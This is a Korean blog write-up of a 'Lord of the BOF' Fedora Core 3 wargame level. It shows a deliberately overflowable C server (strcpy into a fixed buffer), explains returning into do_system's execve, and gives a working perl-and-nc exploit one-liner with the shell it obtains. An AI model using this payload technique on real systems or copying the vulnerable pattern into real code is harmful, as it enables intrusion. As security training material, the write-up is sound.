[dark_eyes@Fedora_1stFloor ~]$ cat hell_fire.c
/*
The Lord of the BOF : The Fellowship of the BOF
- hell_fire
- Remote BOF on Fedora Core 3
- hint : another fake ebp or got overwriting
- port : TCP 7777
*/
#include <stdio.h>
int main()
{
char buffer[256];
char saved_sfp[4];
char temp[1024];
printf("hell_fire : What's this smell?\n");
printf("you : ");
fflush(stdout);
// give me a food
fgets(temp, 1024, stdin);
// save sfp
memcpy(saved_sfp, buffer+264, 4);
// overflow!!
strcpy(buffer, temp);
// restore sfp
memcpy(buffer+264, saved_sfp, 4);
printf("%s\n", buffer);
}
해당 홈폴더에 있는 문제는 setuid가 걸려있지 않고, 슈퍼데몬인 xinetd,d가 hell_fire권한으로 문제를 실행하고 있다.
xinetd.d로 바이너리를 서비스하면, 자동으로 입출력을 연결시켜주며, 리모트 쉘코드를 사용할 필요 없이 단순히
/bin/sh해주는 것 만으로도 쉘을 따올수 있다.
그래서 system함수 안에 do_system에서 execve를 호출하는 부분을 ret으로 주면 쉘이 따와진다.
do_system안에 0x00750784부분은
char *argv[] ={"/home/dark_eyes/hell_fire",null}
execve("/bin/sh",argv,envp)
를 형성하는 부분이다.
[dark_eyes@Fedora_1stFloor ~]$ (perl -e 'print "a"x268,"\x84\x07\x75\x00"';cat)|nc localhost 7777
hell_fire : What's this smell?
you :
id
uid=503(hell_fire) gid=503(hell_fire) context=user_u:system_r:unconfined_t
my-pass
euid = 503
sign me up
'wargame > LOB FC' 카테고리의 다른 글
LOB FC3 [dark_eyes -> hell_fire] 를 풀다가 생긴 의문점에 대한 분석 (0) | 2014.04.24 |
---|---|
LOB FC3 [iron_golem -> dark_eyes] (0) | 2014.04.24 |
LOB FC3 [gate -> iron_golem] 를 풀다가 생긴 의문점에 대한 분석 (4) | 2014.04.23 |
LOB FC3 [gate -> iron_golem] (0) | 2014.04.22 |